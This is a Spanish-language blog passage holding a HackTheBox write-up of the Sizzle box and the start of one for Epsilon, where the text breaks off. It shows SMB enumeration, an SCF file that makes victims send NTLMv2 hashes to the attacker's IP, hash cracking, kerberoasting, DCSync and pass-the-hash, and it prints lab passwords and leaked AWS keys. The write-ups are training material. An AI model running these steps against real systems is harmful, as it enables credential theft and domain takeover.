<p>Si ingresamos mediante https tendremos el mismo resultado, por lo que no realizare fuzzing sobre este puerto ya que es probable que encuentre las mismas rutas.</p>

<h2 id="recon---smb">Recon - SMB</h2>

<p>Como no tenemos credenciales comenzaremos listando los recursos compartidos en smb con una Null Session:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/smb1.png" alt="smb1" /></p>

<p>Podemos ver que tenemos un recurso llamado <strong><code class="language-plaintext highlighter-rouge">CertEnroll</code></strong> el cual puede tener o no relación con la ruta en el servidor web. Tenemos otro recurso llamado <strong><code class="language-plaintext highlighter-rouge">Department Shares</code></strong> el cual no tiene comentarios al igual que el recurso <strong><code class="language-plaintext highlighter-rouge">Operations</code></strong>.</p>

<h3 id="certenroll">CertEnroll</h3>

<p>Al conectarnos al recurso de <strong>CertEnroll</strong> con una Null Session se nos deniega el acceso:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/smb2.png" alt="smb2" /></p>

<h3 id="operations">Operations</h3>

<p>Al ingresar en Operations podemos ver lo mismo:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/smb3.png" alt="smb3" /></p>

<h3 id="department-shares">Department Shares</h3>

<p>Al conectarnos con una Null Session a <strong>Department Shares</strong> notamos que tenemos 20 directorios.</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/smb4.png" alt="smb4" /></p>

<p>Para agilizar la tarea de inspección de estos directorios realizare una montura en mi maquina de atacante para traer estos directorios:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> /mnt/department
mount <span class="nt">-t</span> cifs <span class="nt">-o</span> <span class="nv">username</span><span class="o">=</span>h4rri,password<span class="o">=</span><span class="s1">''</span>  <span class="s1">'//10.10.10.103/Department Shares'</span> /mnt/department
</code></pre></div></div>

<p>Al ingresar en /mnt/department podemos ver los directorios del recurso smb:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/smb5.png" alt="smb5" /></p>

<p>Al inspeccionarlos con <strong><code class="language-plaintext highlighter-rouge">tree</code></strong> notamos que el directorio <strong><code class="language-plaintext highlighter-rouge">Users</code></strong> contiene carpetas con nombres de usuarios los cuales utilizare posteriormente para validarlos. Además de el directorio <strong><code class="language-plaintext highlighter-rouge">ZZ_ARCHIVE</code></strong> el cual contiene ficheros de distintos tipos.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">.</span>
├── Accounting
├── Audit
├── Banking
│   └── Offshore
│       ├── Clients
│       ├── Data
│       ├── Dev
│       ├── Plans
│       └── Sites
&lt; SNIP <span class="o">&gt;</span>
├── Users
│   ├── Public
│   ├── amanda
│   ├── amanda_adm
│   ├── bill
│   ├── bob
│   ├── chris
│   ├── henry
│   ├── joe
│   ├── jose
│   ├── lkys37en
│   ├── morgan
│   └── mrb3n
└── ZZ_ARCHIVE
    ├── AddComplete.pptx
    ├── AddMerge.ram
    ├── ConfirmUnprotect.doc
    ├── ConvertFromInvoke.mov
    ├── ConvertJoin.docx
    ├── CopyPublish.ogg
    ├── DebugMove.mpg
    ├── DebugSelect.mpg
    ├── DebugUse.pptx
    ├── DisconnectApprove.ogg
    ├── DisconnectDebug.mpeg2
    ├── EditCompress.xls
</code></pre></div></div>

<p>Al inspeccionar el contenido de los ficheros con <strong><code class="language-plaintext highlighter-rouge">strings</code></strong> notamos que no contienen nada y al utilizar <strong><code class="language-plaintext highlighter-rouge">xxd</code></strong> notamos que están llenos de null bytes:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/smb6.png" alt="smb6" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> <span class="k">*</span>.ppt | xxd

0005e700: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0005e710: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0005e720: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0005e730: 0000 0000 0000 0000 0000 0000 0000 0000  ................
&lt;SNIP&gt;
</code></pre></div></div>

<h3 id="-enumeración-de-usuarios-validos">→ Enumeración de usuarios validos</h3>

<p>Ya que tenemos una recurso que contiene carpetas con nombres de usuarios crearemos una lista para poder enumerar usuarios validos en el AD. Para esto utilizare kerbrute:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kerbrute userenum <span class="nt">-d</span> htb.local <span class="nt">--dc</span> 10.10.10.103 <span class="nb">users</span>
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/smb7.png" alt="smb7" /></p>

<p>Como podemos ver amanda es un usuario valido. Al intentar depositar un fichero en el directorio de amanda se nos denegará la acción:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/smb8.png" alt="smb8" /></p>

<p>A continuación enumerare los directorios en los cuales podría almacenar un fichero malicioso con el fin de que amanda u otro usuario conectado lo solicite para poder conseguir <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">robar el hash NTLMv2</a>.</p>

<h3 id="sfc-file-attack">SFC File Attack</h3>

<p>Para automatizar este proceso utilizare el siguiente script con el fin de recorrer la lista de usuarios como directorios depositando el fichero test.txt hasta encontrar un directorio en el cual se nos permita depositar un fichero:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for </span>user <span class="k">in</span> <span class="si">$(</span><span class="nb">cat users</span><span class="si">)</span><span class="p">;</span> <span class="k">do 
    </span><span class="nv">directory</span><span class="o">=</span><span class="s2">"</span><span class="nv">$user</span><span class="s2">"</span>
    <span class="k">if </span>smbclient <span class="nt">-D</span> <span class="s2">"</span><span class="se">\U</span><span class="s2">sers"</span> <span class="nt">-N</span> <span class="nt">-c</span> <span class="s2">"cd </span><span class="nv">$directory</span><span class="s2">; put test.txt; dir"</span> <span class="s2">"</span><span class="se">\\\\</span><span class="s2">10.10.10.103</span><span class="se">\\</span><span class="s2">Department Shares"</span> <span class="o">&gt;</span> /dev/null 2&gt;&amp;1<span class="p">;</span> <span class="k">then 
        if </span>smbclient <span class="nt">-D</span> <span class="s2">"</span><span class="se">\U</span><span class="s2">sers"</span> <span class="nt">-N</span> <span class="nt">-c</span> <span class="s2">"cd </span><span class="nv">$directory</span><span class="s2">; dir"</span> <span class="s2">"</span><span class="se">\\\\</span><span class="s2">10.10.10.103</span><span class="se">\\</span><span class="s2">Department Shares"</span> 2&gt;/dev/null | <span class="nb">grep</span> <span class="nt">-q</span> <span class="s2">"test.txt"</span><span class="p">;</span> <span class="k">then
            </span><span class="nb">echo</span> <span class="s2">"El archivo fue depositado en el directorio </span><span class="nv">$directory</span><span class="s2"> y tiene permisos de escritura."</span><span class="p">;</span> 
        <span class="k">fi
    fi
done</span>
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sfc1.png" alt="sfc1" /></p>

<p>Como se aprecia tenemos permisos de escritura sobre el directorio del usuario Public. Además luego de vigilar el fichero podemos notar que está siendo eliminado:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sfc2.png" alt="sfc2" /></p>

<p>En base a esto creare un fichero SFC (Shell Command Files):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>Shell]
<span class="nv">Command</span><span class="o">=</span>2
<span class="nv">IconFile</span><span class="o">=</span><span class="se">\\</span>10.10.14.27<span class="se">\e</span>vil.ico
<span class="o">[</span>Taskbar]
<span class="nv">Command</span><span class="o">=</span>ToggleDesktop
</code></pre></div></div>

<p>Como se ve se esta solicitando un fichero llamado evil.ico desde nuestra dirección IP asignada. Con esto, antes de depositarlo en <strong><code class="language-plaintext highlighter-rouge">/Users/Public</code></strong> iniciaremos responder para capturar el hash NTLMv2:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>responder <span class="nt">-I</span> tun0
</code></pre></div></div>

<p>Depositamos el fichero:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sfc3.png" alt="sfc3" /></p>

<p>Y al esperar un poco podemos ver que hemos recibido el hash de amanda:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sfc4.png" alt="sfc4" /></p>

<p>Depositaremos el hash en un fichero para crackearlo, en este caso utilizare hashcat para hacerlo:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashcat <span class="nt">-m</span> 5600 amanda_hash /usr/share/wordlists/rockyou.txt 
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sfc5.png" alt="sfc5" /></p>

<p>Podemos observar que el resultado nos muestra la contraseña <strong><code class="language-plaintext highlighter-rouge">Ashare1972</code></strong>. Podemos comprobar que estas credenciales son validas utilizando crackmapexec:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sfc6.png" alt="sfc6" /></p>

<p>Y son validas contra smb, pero al probarlas contra winrm tenemos un error. Como vimos anteriormente con smbclient no pudimos acceder a los recursos <strong><code class="language-plaintext highlighter-rouge">CertEnroll</code></strong> y <strong><code class="language-plaintext highlighter-rouge">Operations</code></strong>. Así que ingresare nuevamente a estos recursos con las credenciales obtenidas:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sfc7.png" alt="sfc7" /></p>

<p>De momento para <strong><code class="language-plaintext highlighter-rouge">CertEnroll</code></strong> no veo nada interesante con lo que poder aprovecharme. Para el recurso de <strong><code class="language-plaintext highlighter-rouge">Operations</code></strong> vemos lo mismo:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sfc8.png" alt="sfc8" /></p>

<p>Si recordamos en el servidor web tenemos un panel de autenticación ubicado en <strong><code class="language-plaintext highlighter-rouge">https://10.10.10.103/certsrv</code></strong>:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sfc9.png" alt="sfc9" /></p>

<p>Al ingresar podemos notar que estamos ante Microsoft Active Directory Certificate Services:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sfc10.png" alt="sfc10" /></p>

<h2 id="shell-as-amanda">Shell as amanda</h2>

<p>Anteriormente no pudimos conectarnos con las credenciales de amanda contra el servicio de winrm. Podemos generar un certificado para poder conectarnos con <strong><code class="language-plaintext highlighter-rouge">evil-winrm</code></strong> utilizando un certificado y una llave contra el puerto <strong><code class="language-plaintext highlighter-rouge">5986</code></strong> el cual corresponde al servicio winrm a través de SSL. Tenemos que generar una llave (fichero <strong><code class="language-plaintext highlighter-rouge">.key</code></strong>) y un fichero <strong><code class="language-plaintext highlighter-rouge">.csr</code></strong> el cual utilizaremos para generar el certificado:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl req <span class="nt">-newkey</span> rsa:2048 <span class="nt">-nodes</span> <span class="nt">-keyout</span> file.key <span class="nt">-out</span> file.csr
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sh1.png" alt="sh1" /></p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sh2.png" alt="sh2" /></p>

<p>A continuación en la web presionamos en <strong>Request a certificate</strong>:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sh3.png" alt="sh3" /></p>

<p>Ahora presionamos sobre <strong>advanced certificate request</strong>:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sh4.png" alt="sh4" /></p>

<p>A continuación copiaremos el contenido del fichero <strong><code class="language-plaintext highlighter-rouge">file.csr</code></strong> en el sitio web:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sh5.png" alt="sh5" /></p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sh6.png" alt="sh6" /></p>

<p>Finalmente descargaremos el certificado en formato <strong><code class="language-plaintext highlighter-rouge">Base64 encoded</code></strong>. Finalmente utilizaremos el certificado y la llave para conectarnos con <strong><code class="language-plaintext highlighter-rouge">evil-winrm</code></strong>:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sh7.png" alt="sh7" /></p>

<p>Al enumerar nuestros privilegios y pertenencias a grupos no vemos nada interesante:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/sg8.png" alt="sh8" /></p>

<p>Además la flag tampoco se encuentra en el directorio de nuestro usuario.</p>

<h3 id="enum---bloodhound">Enum - Bloodhound</h3>

<p>Utilizare bloodhound-python para extraer la información de manera local para posteriormente cargarla en Bloodhound:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/bh1.png" alt="bh1" /></p>

<p>Una vez iniciado Bloodhound cargaremos el fichero <strong><code class="language-plaintext highlighter-rouge">.zip</code></strong> resultante de bloodhound-python, posteriormente marcaremos al usuario amanda como Owned presionando click derecho sobre el nodo y seleccionando <strong><code class="language-plaintext highlighter-rouge">Mark User as Owned</code></strong>:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/bh2.png" alt="bh2" /></p>

<p>Al presionar en la pestaña de <strong><code class="language-plaintext highlighter-rouge">Analysis</code></strong> podemos buscar por usuarios vulnerables a kerberoasting con el cual podamos obtener un ticket TGS:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/bh3.png" alt="bh3" /></p>

<p>Vemos que el usuario <strong><code class="language-plaintext highlighter-rouge">mrlky</code></strong> es vulnerable a kerberoasting. Antes de abusar de esto enumerare la forma más rápida de convertirse en Domain Admin:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/bh4.png" alt="bh4" /></p>

<p>Como vemos el usuario <strong><code class="language-plaintext highlighter-rouge">mrlky</code></strong> tiene la capacidad de realizar un ataque DCSync sobre <strong><code class="language-plaintext highlighter-rouge">HTB.LOCAL</code></strong>. En base a esto comenzare por abusar del kerberoasting sobre este usuario para posteriormente realizar un DCSync con el objetivo de obtener el hash del usuario Administrator.</p>

<h2 id="privesc">Privesc</h2>

<p>Comenzamos por solicitar el ticket TGS del usuario mrlky, para este caso utilizare Rubeus ya que al utilizar <strong><code class="language-plaintext highlighter-rouge">GetUserSPNs</code></strong> no tengo resultados positivos. Cargare Rubeus con evil-winrm en la carpeta de Temp:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/priv1.png" alt="priv1" /></p>

<p>Observamos que tenemos una restricción y no podemos utilizar evil-winrm para subir ficheros, además de que no podemos listar el contenido de la carpeta Temp, listare la politica de AppLocker para listar alguna ruta en la que podamos descargar contenido.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-AppLockerPolicy <span class="nt">-Effective</span> | <span class="k">select</span> <span class="nt">-ExpandProperty</span> RuleCollections
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/priv2.png" alt="priv2" /></p>

<p>Como se ve podemos realizar la ejecución de programas en la carpeta de Windows. Para esto creare una carpeta dentro de la misma carpeta Temp y depositare Rubeus en esta, Para esto montare un servidor con python para hostear el binario de Rubeus:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/priv3.png" alt="priv3" /></p>

<h3 id="kerberoasting---mrlky">Kerberoasting - mrlky</h3>

<p>Ahora realizaremos el ataque de kerberoasting con Rubeus sobre el usuario mrlky:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.<span class="se">\R</span>ubeus.exe kerberoast /creduser:htb.local<span class="se">\a</span>manda /credpassword:Ashare1972 /nowrap /user:mrlky
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/kerb1.png" alt="kerb1" /></p>

<p>Ahora depositaremos el hash en un fichero para crackearlo offline:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashcat <span class="nt">-m</span> 13100 <span class="nb">hash </span>rockyou.txt
</code></pre></div></div>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/kerb2.png" alt="kerb2" /></p>

<p>Observamos el resultado de la contraseña del usuario el cual es <strong><code class="language-plaintext highlighter-rouge">Football#7</code></strong>. Ahora estamos a un paso de obtener acceso como administrador.</p>

<h3 id="dcsync">DCSync</h3>

<p>Sabemos que podemos realizar un DCSync sobre HTB.LOCAL asi que utilizare secretsdump para hacer esto de manera más eficiente:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/dc1.png" alt="dc1" /></p>

<p>Ya que obtuvimos los hashes de la base de datos del directorio activo podemos utilizar la tecnica de Pass The Hash para obtener una shell como usuario Administrador. Para este caso utilizare la herramienta psexec:</p>

<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/527a59b642bb1b88e565dabbf7c02b794f539e2d/_includes/CTFIMG/Sizzle/dc2.png" alt="dc2" /></p>

<p>Ya con esto podemos leer las flags ubicadas en el directorio del usuario Administrator y mrlky.</p>

<p>Pwned! 🏴‍☠️</p>]]></content><author><name>[&quot;H4RRIZN&quot;]</name></author><category term="HackTheBox" /><category term="CTF" /><category term="Active Directory" /><category term="Windows" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Epsilon - HackTheBox Writeup</title><link href="https://t3tsv0.github.io/hackthebox/2024/04/06/htb-epsilon.html" rel="alternate" type="text/html" title="Epsilon - HackTheBox Writeup" /><published>2024-04-06T00:00:00+00:00</published><updated>2024-04-06T00:00:00+00:00</updated><id>https://t3tsv0.github.io/hackthebox/2024/04/06/htb-epsilon</id><content type="html" xml:base="https://t3tsv0.github.io/hackthebox/2024/04/06/htb-epsilon.html"><![CDATA[<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/5bde9ea27c8aaef510c8b6e1ce6b22207714d839/_includes/CTFIMG/Epsilon/logo.png" alt="logo" /></p>

<h2 id="reconocimiento">Reconocimiento</h2>
<p>Para comenzar realizaremos un scan con nmap para visualizar los puertos abiertos en el host victima:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sS</span> <span class="nt">--min-rate</span> 1500 <span class="nt">-p-</span> <span class="nt">--open</span> <span class="nt">-vv</span> <span class="nt">-n</span> <span class="nt">-Pn</span> 10.10.11.134
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/202d617891b7a83d56011b58a1cfbd494f019547/_includes/CTFIMG/Epsilon/recon1.png" alt="recon1" /> <br />
Vemos abiertos los puertos 22, 80 y 5000. Realizaremos otro scan para obtener más detalles de los servicios y versiones utilizados en estos puertos:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/202d617891b7a83d56011b58a1cfbd494f019547/_includes/CTFIMG/Epsilon/recon2.png" alt="recon2" />  <br />
  Podemos observar que el puerto 80 revela el directorio <strong><code class="language-plaintext highlighter-rouge">.git</code></strong>.  Al ingresar al puerto 5000 http observamos que tenemos un panel de autenticación:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/202d617891b7a83d56011b58a1cfbd494f019547/_includes/CTFIMG/Epsilon/recon3.png" alt="recon3" />  <br />
De momento no podemos hacer mucho en este panel.</p>

<h2 id="analizando-git">Analizando .git</h2>
<p>Como el resultado del script de nmap nos revelo el directorio .git en <strong><code class="language-plaintext highlighter-rouge">10.10.11.134/.git</code></strong> podemos utilizar la herramienta Githack para recomponer este repositorio:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip <span class="nb">install </span>githack
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git0.png" alt="git0" /> <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git1.png" alt="git1" />  <br />
Como observamos contamos con 2 ficheros los cuales corresponden a <strong><code class="language-plaintext highlighter-rouge">server.py</code></strong> y <strong><code class="language-plaintext highlighter-rouge">track_api_CR_148.py</code></strong>. Analizaremos los ficheros individualmente.</p>
<h3 id="serverpy">server.py</h3>
<p>Para <strong><code class="language-plaintext highlighter-rouge">server.py</code></strong> podemos notar que en las primeras líneas de código se evidencia el uso de <strong><code class="language-plaintext highlighter-rouge">Json Web Token</code></strong> además de que la aplicación estaría construida con <strong><code class="language-plaintext highlighter-rouge">Flask</code></strong>. Notamos que se verifica un JWT el cual hace uso del algoritmo <strong><code class="language-plaintext highlighter-rouge">HS256</code></strong> para su construcción y recibe el <strong><code class="language-plaintext highlighter-rouge">username</code></strong>:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git2.png" alt="git2" />  <br />
Al inspeccionar más el código notamos diversas rutas como <strong><code class="language-plaintext highlighter-rouge">/track</code></strong> y <strong><code class="language-plaintext highlighter-rouge">/order</code></strong>.  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git3.png" alt="git3" />  <br />
Las cuales si ingresamos en el puerto 80 no obtendremos resultados. Pero si tenemos resultados para el puerto 5000 lo que indica que el código fuente encontrado corresponde para este puerto en especifico:    <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git4.png" alt="git4" /></p>
<h3 id="track_api_cr_148py">track_api_CR_148.py</h3>
<p>Para el fichero <strong><code class="language-plaintext highlighter-rouge">track_api_CR_148.py</code></strong> analizamos que también existen variables en forma de secreto. No tenemos estas claves pero si podemos ver que se revela el endpoint de AWS el cual es <strong><code class="language-plaintext highlighter-rouge">http://cloud.epsilon.htb</code></strong>. Agregamos este al fichero /etc/hosts de nuestra maquina.   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git5.png" alt="git5" />
Además vemos que se definen funciones las cuales <strong><em>Zipean</em></strong> una ruta de alguna forma. Adicionalmente tenemos el siguiente fragmento <strong><code class="language-plaintext highlighter-rouge">update_lambda</code></strong> el cual simplemente es una función que verifica la existencia de un directorio de Lambda y luego actualiza el código de la función utilizando la API de AWS Lambda.   <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git6.png" alt="git6" />   <br />
Ya con esto en mente procedemos a enumerar los commits del proyecto utilizando git para observar distintas versiones de estos códigos.</p>
<h3 id="git-log">Git Log</h3>
<p>Utilizando el comando <strong><code class="language-plaintext highlighter-rouge">git log</code></strong> podemos ver los commits realizados. Observamos el primer commit (el de más abajo) el comentario de “Adding Tracking API Module” lo cual llama la atención ya que fue la primera implementación del código <strong><code class="language-plaintext highlighter-rouge">track_api_CR_148.py</code></strong>:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git7.png" alt="git7" />
Podemos visualizar este utilizando el comando <strong><code class="language-plaintext highlighter-rouge">git show &lt;commit&gt;</code></strong>:  <br />
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git8.png" alt="git8" />  <br />
Vemos como se revelan los secretos para conectarse a aws:</p>

<p>aws_access_key_id=’<strong><code class="language-plaintext highlighter-rouge">AQLA5M37BDN6FJP76TDC</code></strong>’
aws_secret_access_key=’OsK0o/<strong><code class="language-plaintext highlighter-rouge">glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A</code></strong>’</p>

<p>Utilizaremos estos para explorar las funciones.</p>
<h3 id="aws">AWS</h3>
<p>Lo primero es configurar AWS con los secretos utilizando <strong><code class="language-plaintext highlighter-rouge">aws configure</code></strong>:
<img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git9.png" alt="git9" />  <br />
Ya con esto podemos explorar las funciones, tengamos en cuenta que se nos mostrarón funciones <strong><code class="language-plaintext highlighter-rouge">lambda</code></strong> por lo que utilizaremos estás en aws:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aws <span class="nt">--endpoint</span><span class="o">=</span>http://cloud.epsilon.htb lambda list-functions
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git10.png" alt="git10" />   <br />
Observamos que tenemos la función <strong><code class="language-plaintext highlighter-rouge">costume_shop_v1</code></strong> disponible. Podemos utilizar el siguiente comando para obtener la función:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aws <span class="nt">--endpoint</span><span class="o">=</span>http://cloud.epsilon.htb lambda get-function <span class="nt">--function-name</span><span class="o">=</span>costume_shop_v1
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/H4RRIZN/H4RRIZN.github.io/3b65e0d602539aa7c03f723df6f88cb1d195ac9c/_includes/CTFIMG/Epsilon/git11.png" alt="git11" />  <br />
Y obtenemos la localización de la función la cual es un comprimido <strong><code class="language-plaintext highlighter-rouge">ZIP</code></strong>. Descargamos la función utilizando wget y la renombramos para convertirlo en un comprimido <strong><code class="language-plaintext highlighter-rouge">.zip</code></strong> y la descomprimimos para obtener el código:  <br />
